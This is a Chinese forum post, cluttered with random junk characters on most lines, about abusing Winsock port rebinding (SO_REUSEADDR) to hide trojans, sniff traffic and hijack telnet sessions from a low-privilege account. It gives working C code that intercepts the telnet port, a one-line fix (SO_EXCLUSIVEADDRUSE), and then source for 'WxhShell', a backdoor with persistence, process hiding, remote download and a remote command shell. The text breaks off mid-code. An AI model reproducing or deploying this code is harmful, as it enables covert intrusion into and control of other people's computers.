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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GU\}}j]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P)Vm4u 1  
L, L>cmpM  
  saddr.sin_family = AF_INET; 8|uFW7Q  
`VT[YhO#}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e#MEDjm/)g  
u/3 4E=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5_@ u Be~  
AOhfQ:E 4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JyY-@GF  
s+;J`_M  
  这意味着什么?意味着可以进行如下的攻击: #I jG[a-  
6vySOVMj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -NW7ncB|  
5T)qn`%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :|3n`,  
XS5*=hv:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vs-%J 6}G  
e)kN%JqW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <QoSq'g#,=  
@Omgk=6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O`_!G`E  
X#KC<BXw,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j3`# v3  
QZ!;` ?(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !P X`sIkT  
Sq"O<FmI  
  #include 6KuB<od  
  #include JX%B_eUlAs  
  #include >h+[#3vD  
  #include    B -XM(C j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @C]]VE  
  int main() ZSC Zt&2v  
  { $Fx:w  
  WORD wVersionRequested; ?-mDvW  
  DWORD ret; v o vc,4}  
  WSADATA wsaData; q 65mR!)  
  BOOL val; UV}\#86!  
  SOCKADDR_IN saddr; ))Ws{  
  SOCKADDR_IN scaddr; k*)O]M<,  
  int err; l<fZt#T  
  SOCKET s; %a- *Ku  
  SOCKET sc; Y0`@$d&n  
  int caddsize; 3T)GUzt`  
  HANDLE mt; acd8?>%[  
  DWORD tid;   Y)*5M  
  wVersionRequested = MAKEWORD( 2, 2 ); "J|_1!9  
  err = WSAStartup( wVersionRequested, &wsaData ); +X)n}jh  
  if ( err != 0 ) { zs! }P  
  printf("error!WSAStartup failed!\n"); y{CyjYpz^  
  return -1; kigq(a  
  } bqjj6bf'o  
  saddr.sin_family = AF_INET; XRi/O)98o  
   ?;1^8 c0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^fVLM>p<;  
&?\'Z~B4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^B[%|{cO  
  saddr.sin_port = htons(23); 3KFw0(S/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L'XX++2  
  {  X$:r  
  printf("error!socket failed!\n"); %n<u- {`  
  return -1; ?' F>DN  
  } N\ nr  
  val = TRUE; %YjZF[P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ul@ Jg    
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e!cZW.B=`f  
  { 'Oyx X  
  printf("error!setsockopt failed!\n"); oNV5su  
  return -1; r,^}/<*  
  } H]v"_!(\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (x7AV$N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 99Jk<x k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0@;kD]Z  
@Y2"=QVt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +[l52p@a  
  { DoV<p?U  
  ret=GetLastError(); rG7S^,5o  
  printf("error!bind failed!\n"); xsjJ8>G  
  return -1; @R+bR<}]  
  } ;DWtCtD  
  listen(s,2); 7bBOV(/s  
  while(1)  q0Rd^c  
  { iO^z7Y7  
  caddsize = sizeof(scaddr); WH Zz?|^  
  //接受连接请求 +QS7F`O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7/*a  
  if(sc!=INVALID_SOCKET) ~_vzss3-C  
  { $.Fti-5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xgl~4  
  if(mt==NULL) b?&=gm%oU  
  { ^fj):n5/  
  printf("Thread Creat Failed!\n"); )*&I|L<1  
  break; T*"15ppfk  
  } mG,%f"b0  
  } b}P5*}$:9"  
  CloseHandle(mt); "m^whHj  
  } JDO5eEwj  
  closesocket(s); v]*(Wd~|  
  WSACleanup(); 8 jom)a  
  return 0; I W_:nm6  
  }   }hT1@I   
  DWORD WINAPI ClientThread(LPVOID lpParam) r Ntc{{3_  
  { {,r7dxI)`  
  SOCKET ss = (SOCKET)lpParam; @d5G\1(%  
  SOCKET sc; 79J@`  
  unsigned char buf[4096]; s(yVE  
  SOCKADDR_IN saddr; S30@|@fTz  
  long num; F">>,Oc)U"  
  DWORD val; W!a~ #R/r-  
  DWORD ret; !ra CpL9;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U'i L|JRF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t >89( k  
  saddr.sin_family = AF_INET; ag6hhkj A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,}&E=5MF\  
  saddr.sin_port = htons(23); U].u) g$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =m@5$  
  { Q>gU(  
  printf("error!socket failed!\n"); R#Z1+&='  
  return -1; PPCZT3c=  
  } 4uip!@$K  
  val = 100; )r O`K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A[juzOn\  
  { [,_M@g3  
  ret = GetLastError(); HLMEB0zh^  
  return -1; c"+N{$ vp  
  } + ~ro*{3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7#Qa/[? D  
  { }vOUf# ^k  
  ret = GetLastError(); lu @#)  
  return -1; )=\W sQ  
  } \6B,\l]$t@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^&t(O1.-  
  { 06bl$%  
  printf("error!socket connect failed!\n"); 6p/gvpZ  
  closesocket(sc); Xq&x<td  
  closesocket(ss); }z&P^p)R  
  return -1; rVkoj;[  
  } Fz+0h"  
  while(1) ]rM{\En  
  { 2aUz.k8o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?U0iHg{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LX.1]T*m`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Mj$dDtw  
  num = recv(ss,buf,4096,0); @]f"X>  
  if(num>0) d#T8|#O"  
  send(sc,buf,num,0); qx5X2@-;:  
  else if(num==0) ^o't &  
  break; ;% *e}w0  
  num = recv(sc,buf,4096,0); RM53B  
  if(num>0) |dNtM^  
  send(ss,buf,num,0); >Uvtsj#  
  else if(num==0) {+[~;ISL  
  break; 5| 2B@6-  
  } *?oQ6g(Nz  
  closesocket(ss); uK]@! gz  
  closesocket(sc); GK}?*Lf s  
  return 0 ; O?@1</r^  
  } [Dq7mqr$  
&)Z8Qu  
yz-IZt(  
========================================================== K@VXFV  
=ox#qg.5  
下边附上一个代码,,WXhSHELL uAyj##H  
8QYG"CA6/  
========================================================== G*BM'^0+  
32:,g4!~6  
#include "stdafx.h" < W,k$|w  
.Gl&K|/{j  
#include <stdio.h> /#$bb4  
#include <string.h> > c7/E  
#include <windows.h> kETA3(h'  
#include <winsock2.h> h`%K \C  
#include <winsvc.h> L&ws[8-  
#include <urlmon.h> ]^gD@].  
P<kTjG  
#pragma comment (lib, "Ws2_32.lib") QN-n9f8  
#pragma comment (lib, "urlmon.lib") UA,&0.7  
`. %;|"xR  
#define MAX_USER   100 // 最大客户端连接数 1 7{]QuqNF  
#define BUF_SOCK   200 // sock buffer sVkR7 ^KsG  
#define KEY_BUFF   255 // 输入 buffer >4\V/ I  
oKt<s+r  
#define REBOOT     0   // 重启 2Z@<llsi  
#define SHUTDOWN   1   // 关机 #2DH_P  
@.*[CC;&  
#define DEF_PORT   5000 // 监听端口 W _b $E =  
q30WUO;  
#define REG_LEN     16   // 注册表键长度 v\-"NHl  
#define SVC_LEN     80   // NT服务名长度 r_xo>y~S  
RYE::[O7  
// 从dll定义API v}z o v Ei  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K@n.$g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =[{Pw8['  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G !1- 20  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p{Pa(Z]G  
QVn0!R{  
// wxhshell配置信息 a\}|ikiE  
struct WSCFG { vkq?z~GA  
  int ws_port;         // 监听端口 CX':nai  
  char ws_passstr[REG_LEN]; // 口令 + y.IDn^  
  int ws_autoins;       // 安装标记, 1=yes 0=no N/{A ' Wd  
  char ws_regname[REG_LEN]; // 注册表键名 Z55,S=i  
  char ws_svcname[REG_LEN]; // 服务名 (6+6]`c$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NH 'RU`U)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6xL=JSi~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T|.Q81.NE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 42 p6l   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y1k/ngH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sQJM 4'8f  
&K>]!yn   
}; h| UT/:  
[=U7V;5($  
// default Wxhshell configuration C2<y(GU[Bh  
struct WSCFG wscfg={DEF_PORT, puqLXDjA/  
    "xuhuanlingzhe", X8Sk  
    1, m9G,%]4|  
    "Wxhshell", K+v 250J$-  
    "Wxhshell", *|t]6!aVLS  
            "WxhShell Service", 1.,mNY^UN  
    "Wrsky Windows CmdShell Service", dt`L}Yi  
    "Please Input Your Password: ", ys#M* {?  
  1, )sV# b  
  "http://www.wrsky.com/wxhshell.exe", G)# ,39P  
  "Wxhshell.exe" (la<X <w  
    }; :m&`bq  
S OK2{xCG  
// 消息定义模块 klf<=V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~|uCZ.;o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'R,d?ikY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &V=54n=O?  
char *msg_ws_ext="\n\rExit."; G4x.''r&Sl  
char *msg_ws_end="\n\rQuit."; l*v([@A\  
char *msg_ws_boot="\n\rReboot..."; 3~cOQ%#]4  
char *msg_ws_poff="\n\rShutdown..."; ,x Tbt4J  
char *msg_ws_down="\n\rSave to "; k2t?e:)3zr  
*0c }`|  
char *msg_ws_err="\n\rErr!"; I.8|kscM  
char *msg_ws_ok="\n\rOK!"; "L8V!M_e  
>`{i[60r  
char ExeFile[MAX_PATH]; V)@MM2,  
int nUser = 0; gE ,j\M*  
HANDLE handles[MAX_USER]; WN?T*bz2  
int OsIsNt; 8fe"#^"sR  
(|[3/_!;v  
SERVICE_STATUS       serviceStatus; 8W$="s2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZH0f32K  
`%ENGB|  
// 函数声明 c%Gz{':+  
int Install(void); y:42H tS  
int Uninstall(void); Q5<vK{  
int DownloadFile(char *sURL, SOCKET wsh); p9s~WD/K  
int Boot(int flag); z!3Z^d`  
void HideProc(void); -:~`g*3#  
int GetOsVer(void); i;xg[e8.  
int Wxhshell(SOCKET wsl); > T-O3/KN  
void TalkWithClient(void *cs); i*^K)SI8  
int CmdShell(SOCKET sock); D{loX6  
int StartFromService(void); Cfi2N V  
int StartWxhshell(LPSTR lpCmdLine); W^Rb~b^?  
q~w;C([k_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /GXO2zO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aJ}sYf^  
1|nB\xgu  
// 数据结构和表定义 [e}]K:  
SERVICE_TABLE_ENTRY DispatchTable[] = ks r5P~  
{ AN%.LK  
{wscfg.ws_svcname, NTServiceMain}, kyjH~mK4  
{NULL, NULL} e{} o:r  
}; =#V11j  
PaDT)RrEM  
// 自我安装 \6'A^cE/PX  
int Install(void) E{6}'FG+A  
{ &*y ve}su  
  char svExeFile[MAX_PATH]; L_.}z)S[\  
  HKEY key; 'pe0Q-  
  strcpy(svExeFile,ExeFile); 7 %|>7  
s{,e^T  
// 如果是win9x系统,修改注册表设为自启动 AO]lXa  
if(!OsIsNt) { qnS7z%H8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q#a21~S<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _@p|A  
  RegCloseKey(key);  \1MDCP9:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -24.[E/5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zh.c_>jS  
  RegCloseKey(key); "J.jmR;  
  return 0; 6wd]X-G++  
    } EK#m?O:>  
  } C\; 8l}t  
} "_K 6=  
else { Yo(B8}?0!  
z K(5&u  
// 如果是NT以上系统,安装为系统服务 oTfbx+i/G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e)xWQ=,C  
if (schSCManager!=0) 3?XLHMxW  
{ H<xC%/8  
  SC_HANDLE schService = CreateService =_H39)|T  
  ( 5QSmim  
  schSCManager, L%0lX$2&\  
  wscfg.ws_svcname, /trc&V  
  wscfg.ws_svcdisp, A;!FtD/  
  SERVICE_ALL_ACCESS, 1A)~Y   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a82mC r  
  SERVICE_AUTO_START, FSmi.7  
  SERVICE_ERROR_NORMAL, y|dXxd9  
  svExeFile,  d!t@A  
  NULL, v wyDY%B"n  
  NULL, J50 ~B3bj`  
  NULL, 16>uD;G  
  NULL, J:u|8>;  
  NULL V~_nyjrJM  
  ); 3XnXQ/({  
  if (schService!=0) o W[,EW+u  
  { 'O`3FI  
  CloseServiceHandle(schService); 9CNHjs+-}s  
  CloseServiceHandle(schSCManager); ?R(3O1,v^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j vV8`BQ{  
  strcat(svExeFile,wscfg.ws_svcname); E5(Y*m!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N>R%0m<e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;SW-dfo2i  
  RegCloseKey(key); y]l"u=$Tr{  
  return 0; 4BT`|(7  
    } kOCxIJ!Xp=  
  } wB)+og-^1f  
  CloseServiceHandle(schSCManager); lnDDFsA  
} g5Dx9d{  
} FZ9<Q  
!Ia"pNDf  
return 1; YfPo"uxx  
} #CPPdU$  
L0kNt &di  
// 自我卸载 "Y!dn|3  
int Uninstall(void) \ V>%yl{8  
{ (L >[,YO9  
  HKEY key; lX*;KHT)  
j/<y  
if(!OsIsNt) { tFaE cP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S=}~I  
  RegDeleteValue(key,wscfg.ws_regname); sZ"U=6R  
  RegCloseKey(key);  nvPE N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DANSexW  
  RegDeleteValue(key,wscfg.ws_regname); 9i}D6te  
  RegCloseKey(key); NVeRn  
  return 0; 'pY;]^M  
  } +q/h:q.TV  
} eeU$uR  
} pV6HQ:y1  
else { 4Aew )   
/>Vx*^u8Hz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5|CiwQg|,p  
if (schSCManager!=0) LUNs|\&  
{ r^t{Ii ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &a_kJ)J  
  if (schService!=0) o0G`Xn  
  { nV3 7` I  
  if(DeleteService(schService)!=0) { ;p 5v3<PC  
  CloseServiceHandle(schService); 6I.mc  
  CloseServiceHandle(schSCManager); 9ET+k(wI@  
  return 0; 8 tygs  
  } /:` i%E  
  CloseServiceHandle(schService); aNC,ccm  
  } 5TneuGD  
  CloseServiceHandle(schSCManager); Tud1xq  
} '$XHRS/q]  
} }t2pIkF;  
En9]x"_  
return 1; 1MI7l)D?  
} 5u_4lNJ&  
g0j4<\F2\  
// 从指定url下载文件 ;3|Lw<D5;  
int DownloadFile(char *sURL, SOCKET wsh) 'UVv(-  
{ PdH`_/6  
  HRESULT hr; GR ?u?-  
char seps[]= "/"; n& m?BuG  
char *token; 2nU NI U  
char *file; $xtE+EV.p  
char myURL[MAX_PATH]; Q|B|#?E==  
char myFILE[MAX_PATH]; X$ B]P 7G7  
P%`R7yk  
strcpy(myURL,sURL); Ik5jwfz  
  token=strtok(myURL,seps); 5o| !f  
  while(token!=NULL) ~}IvY?! ;  
  { o9LD6$  
    file=token; I?Jii8|W9  
  token=strtok(NULL,seps); 6IY}SI0N  
  } < mK  
L%K_.!d^  
GetCurrentDirectory(MAX_PATH,myFILE); 3y=<w|4F  
strcat(myFILE, "\\"); QHzX 5$IM  
strcat(myFILE, file); #* gU[9U~  
  send(wsh,myFILE,strlen(myFILE),0); 9LEilmPs  
send(wsh,"...",3,0); j]B $(pt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `Kc %S^C'  
  if(hr==S_OK) q 9brpbg_  
return 0; 2v9s@k/k)6  
else $',GkK{NX  
return 1; 6G<Hi"I  
Sd\IGy{a  
} \8*,&ak%  
HCjn9  
// 系统电源模块 ^?X ^+  
int Boot(int flag) an=+6lIl  
{ TFC!u 0Y"$  
  HANDLE hToken; *[xNp[4EU  
  TOKEN_PRIVILEGES tkp; 9j?hF$L"  
Ef`5fgp? S  
  if(OsIsNt) { oA;jy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  6I cM:x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !UBDx$]^  
    tkp.PrivilegeCount = 1; ,-7/]h,l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c_z/At;4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8q~FUJhU  
if(flag==REBOOT) { Wt+y-ES  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @x=BJuUuX  
  return 0; o ?va#/fk  
} f_4S>C$  
else { Y!a+#N!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *)NR$9lGv  
  return 0; siRnH(^ J  
} G{f`K^  
  } YZBzv2'\x  
  else { 64!ame}n+  
if(flag==REBOOT) { => uVp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [)H,zpl  
  return 0; 2-6.r_  
} {wp Mg  
else { ?b@q5Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nG},v%  
  return 0; qXU:A-IdIl  
} @7Rt4}g  
} %89" A'g  
5xMA~I0c  
return 1; 8L7Y A)u  
} %;<k(5bhGJ  
w%8ooQ|C  
// win9x进程隐藏模块 #0?"J)  
void HideProc(void) ?v"K1C1.  
{ F8uRT&m B0  
5DkK'tCI9Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V`g\ja*Y  
  if ( hKernel != NULL ) ) ]/i  
  { )e|$K= D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NoJnchiU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .Yu<%  
    FreeLibrary(hKernel); s`Yu"s 8}4  
  } ReI=4Jq11  
agU%z:M{  
return; ,#E3,bu6_4  
} yfM>8"h@  
9<t9a f\.>  
// 获取操作系统版本 vz;7} Zj]  
int GetOsVer(void) IW1GhZ41'  
{ <OR.q  
  OSVERSIONINFO winfo; &547`*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vq3]7l  
  GetVersionEx(&winfo); vs\'1^*D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |TB@@ 2Ky&  
  return 1; < v|%K.yd  
  else u[V4OU}%  
  return 0; io9y; S"+  
} 2 ?Pt Z  
ZL4l (&"  
// 客户端句柄模块  3}>:  
int Wxhshell(SOCKET wsl) t4f (Y,v  
{ <CZI7]PM7  
  SOCKET wsh; :LZ-da"QR  
  struct sockaddr_in client; +=ZWau   
  DWORD myID; aW0u8Dz  
C2+{U  
  while(nUser<MAX_USER) bGZ hUEq  
{ q Z8|B  
  int nSize=sizeof(client); /*u#Ba<<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qhV,u;\.  
  if(wsh==INVALID_SOCKET) return 1; x[vpoB+c  
 OLk9A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Gs{nFw  
if(handles[nUser]==0) =7 Jy  
  closesocket(wsh); y 2z{rd  
else wXr>p)mP  
  nUser++; W<\kf4Y  
  } TpJg-F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z B~l2  
t[]['Iosd  
  return 0; 'ox0o:  
} RDUT3H6~  
- *:p.(c  
// 关闭 socket ^y&q5p jj  
void CloseIt(SOCKET wsh) o2;(VSKhS  
{ X}zX`]:I'  
closesocket(wsh); J"%8:pL  
nUser--; Ho|o,XvLv  
ExitThread(0); y]yine  
} bH'S.RWp=  
If~95fy~c  
// 客户端请求句柄 J+{Ou rWt  
void TalkWithClient(void *cs) J?._/RL8-  
{ TRF]i/Bs  
ooTc/QEYi  
  SOCKET wsh=(SOCKET)cs; 7n\ThfH{  
  char pwd[SVC_LEN]; Z7JKaP9{:  
  char cmd[KEY_BUFF]; y\^@p=e  
char chr[1]; %9t{Z1$  
int i,j; Iq)(UfaSve  
!cRfZ  
  while (nUser < MAX_USER) { uzHT.iBn  
6D/uo$1Y  
if(wscfg.ws_passstr) { q}#iV$dAj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MQwIPjk8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ Xm/  
  //ZeroMemory(pwd,KEY_BUFF); (V$Zc0  
      i=0; sB?2*S"X)<  
  while(i<SVC_LEN) { j*tk(o}qG  
t(}/g  
  // 设置超时 A/!<kp{S  
  fd_set FdRead; cb +l"FI7  
  struct timeval TimeOut; 7e1dEgn  
  FD_ZERO(&FdRead); *3;UAfHv  
  FD_SET(wsh,&FdRead); W0Ktw6  
  TimeOut.tv_sec=8; g.9L)L  
  TimeOut.tv_usec=0; XAkK:}h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DeH0k[o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ):3MYSqX  
3FFaEl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ERF,tLa!  
  pwd=chr[0]; w"{bp  
  if(chr[0]==0xd || chr[0]==0xa) { :d.1;st  
  pwd=0; IrJ+Jov  
  break; NeHx2m+  
  } nt=x]wEC  
  i++; x5oOF7#5  
    } s8^~NX(xdy  
@cZ\*,T  
  // 如果是非法用户,关闭 socket gc##V]OD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); im8 -7Xt  
} GMz8B-vk  
4:D:| r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  }<=3W5+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'fIHUw|  
?KCivf  
while(1) { j?xk&  
{&-#s#&  
  ZeroMemory(cmd,KEY_BUFF); s2^B(wP  
kQLT$8io  
      // 自动支持客户端 telnet标准   \^9pW 2v  
  j=0; P'sfi>A  
  while(j<KEY_BUFF) { t)} \9^Uo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); COSTV>s;  
  cmd[j]=chr[0]; )Ob]T{GY  
  if(chr[0]==0xa || chr[0]==0xd) { kae2 73"  
  cmd[j]=0; J@QdieW6  
  break; -^Xy%  
  } j9:/RJS  
  j++; oE1M/*myS  
    } B52yaG8C  
4@6 <  
  // 下载文件 P[FV2R~  
  if(strstr(cmd,"http://")) { JdiP>KXV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?KB@Zm+#~  
  if(DownloadFile(cmd,wsh)) 09d9S`cS\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vG~+r<:  
  else <4c%Q)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `a >?UUT4  
  } Umz05*  
  else { K\(6 rS}N  
n3$gx,KL  
    switch(cmd[0]) { 9OyNi  
  %G[/H.7s-  
  // 帮助 1[SA15h  
  case '?': { !" E-\cc'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T#@{G,N  
    break; 4z_n4=  
  } h=6xZuA\  
  // 安装 Qs l80~n_7  
  case 'i': { n(>C'<otj  
    if(Install()) .*Vkua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ao !>qCE  
    else hm\\'_u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qfYG.~`5  
    break; &s8<6P7  
    } a8Uk[^5  
  // 卸载 2 n)gpLIJ  
  case 'r': { "Zcu[2,  
    if(Uninstall()) tuLH}tkNY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5/?P|T   
    else <7'&1= %r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Jydu   
    break; zTY;8r+  
    } MDHb'<o?y  
  // 显示 wxhshell 所在路径 514Z<omrK  
  case 'p': { ;iU%Kt  
    char svExeFile[MAX_PATH]; E(4w5=8TI  
    strcpy(svExeFile,"\n\r"); ]-:6T0JuS  
      strcat(svExeFile,ExeFile); "|t!7hC  
        send(wsh,svExeFile,strlen(svExeFile),0); AbfZ++aJ  
    break; NYB "jKMk  
    } :, _!pe;H  
  // 重启 aGK@)&h$  
  case 'b': { &RO7{,`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3v1 7"  
    if(Boot(REBOOT)) }pawIf4V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W`M6J}oG  
    else { |4mVT&63(  
    closesocket(wsh); ag 8`O&+  
    ExitThread(0); "IFg RaP=  
    } 68e[:wf  
    break; "^Rv#  
    } g_aCHEFBv  
  // 关机 P :k+ y$  
  case 'd': { 0V`[Zgf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #jA)>z\Q^  
